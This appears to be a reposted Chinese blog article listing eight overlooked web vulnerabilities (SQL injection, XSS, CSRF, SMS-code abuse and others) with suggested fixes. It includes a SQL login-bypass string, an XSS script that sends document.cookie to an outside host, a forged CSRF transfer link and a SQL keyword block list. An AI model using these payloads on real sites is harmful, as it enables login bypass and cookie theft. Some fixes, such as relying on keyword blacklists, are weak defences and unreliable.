有你在真好 的个人博客
WEB开发易忽略的八类漏洞(系统bug)及解决方案
阅读:2240 添加日期:2021/3/27 23:25:31 原文链接:https://www.toutiao.com/item/6428899762493194753/

SQL注入

SQL注入在黑客领域是一种非常常见的攻击手段,大家应该都听说过很多数据泄漏的案例,其中大部分都是采用SQL注入来获取数据的。

SQL注入一般是前端向后台提交数据的时候,在数据中加入SQL语句,改变后台本来要执行的SQL语句!例如:

原SQL语句为:

select * from users where username='name' and password=md5('pwd')

通过SQL注入,将用户名设置为:'name' or 1=1#  SQL语句就变成了

select * from users where username='name' or 1=1#' and password=md5('pwd')

对于SQL解析器来说,一般认为#后面的内容是被注释调的,所以实际上执行的 select * from users where username='name' or 1=1

这样,用户无需输入密码,便可达到拥有密码的效果。

SQL注入的解决方案一般是增加SQL过滤器,检测前端传过来的内容是否含有非法字符,常见的非法字符:

'|and |exec|execute|insert|select|delete|update|count|drop|*|chr|mid|master|truncate|char|declare|sitename|net user|xp_cmdshell|;|,|like'|exec|execute|insert|create|drop|table|from|grant|use |group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|*|chr|mid|master|truncate|char|declare| or |--| + |,| lik


WEB开发易忽略的八类漏洞(系统bug)及解决方案

校验逻辑放到前端

以本人以前维护的一个网站为例,当初开发者对图片验证码校验的逻辑都放在了前端,

校验过程是这样的,当用户点击登录之后,去后台请求验证码,然后跟用户输入的验证码比较,如果一致就通过,想想这个逻辑也只能呵呵了。

总结一下经验就是,所有的校验逻辑,尽可能的放到后台验证,前端的任何校验都是有可能被绕过的。


攻击短信验证码接口

目前大部分网站在注册时,都需要验证手机号,或者登录方式提供了使用手机号+短信验证码登录,于是便有人可以模拟用户注册,频繁的攻击短信发送接口。解决方案有两种:对同一手机号,统一IP地址进程请求次数限制。当然,攻击者可以频繁的换手机号,也可以使用‘肉机’等方式频繁的换IP地址。这时候,限制IP和手机号的方式似乎就不能奏效了。

另一种方式是在请求发送验证码之前,需要用户先输入图片验证码,当图片验证码校验成功后(切记,要在后台校验),再发送短信验证码,这样攻击者可能就需要一定的攻击成本了。

如果已上方式都不能奏效,好了,从业务角度入手,将手机号的验证放在登录之后吧。


XSS跨站脚本注入

XSS跨域请求类似于SQL注入,也是向代码中注入非法代码,不同之处在于这里注入的一般是js代码,攻击的是客户端;

例如在一个可以发文章的网站,发布了一片文章,文章里故意插入一些可执行的JS脚本(如:<script>window.open(“http://hostname.top”+document.cookie)</script>),这样,如果客户端处理不当,就有可能遭受攻击。

解决方案

是跟防止SQL注入类似,对于用户提交的数据进行检测,如果部分特殊字符必须保留,也应该进行转义。


大量请求压力

一般情况是向服务器发送大量的非法请求或正常请求,对服务器造成一定的压力甚至瘫痪,导致正常的业务不能及时处理。

解决方案

一般上线的WEB服务都应该对承受的能力有一个预估,然后在硬件或者软件层做并发控制。防止出现此此种情况。

验证码爆破

一般是通过爆破的方式,碰撞用户收到的真实手机验证码,目前验证码一般是4位~5位 一般的爆破工具,几分钟就可以试完。

解决方案比较简单,对于同一手机号,尝试次数大于几次之后,验证码自动失效。

CSRF漏洞

中文名称是跨站请求伪造,举一个例子:

假如银行的转账链接为:http://hostname?from=zhangsan&to=lisi&money=10000

当张三打开银行网站,通过自己的浏览器访问此网址的时候,就可以向李四转1000元RMB;银行服务器通过session,验证成功,扣除张三账户10000元,转到李四账户。

黑客H,做了一个钓鱼网站,并加入链接:

http://hostname.top?from=zhangsan&to=heike&money=10000

这时候,张三在打开银行网站的情况下,通过钓鱼网站的链接,便可以向heike转账。

解决方案:

① 验证referer字段(不明白此字段含义的可自行百度),检测是否是自己网站的域名;

② 加入token验证,切记不要加在cookies或者session里面,可以考虑放在报头里面。

权限控制漏洞

一般网站需要有一个完善的权限管理体系,理论上应该对所有的URL路径都进行权限控制,千万不要以为页面没有入口,就不能访问了。

在此,更加建议采用RESTFUL风格设计URL路径,这样更加的便于做权限控制、监控、统计等工作。

作者所了解的基本上就这几个,欢迎大家评论补充!

ICP备案号:苏ICP备14035786号-1 苏公网安备 32050502001014号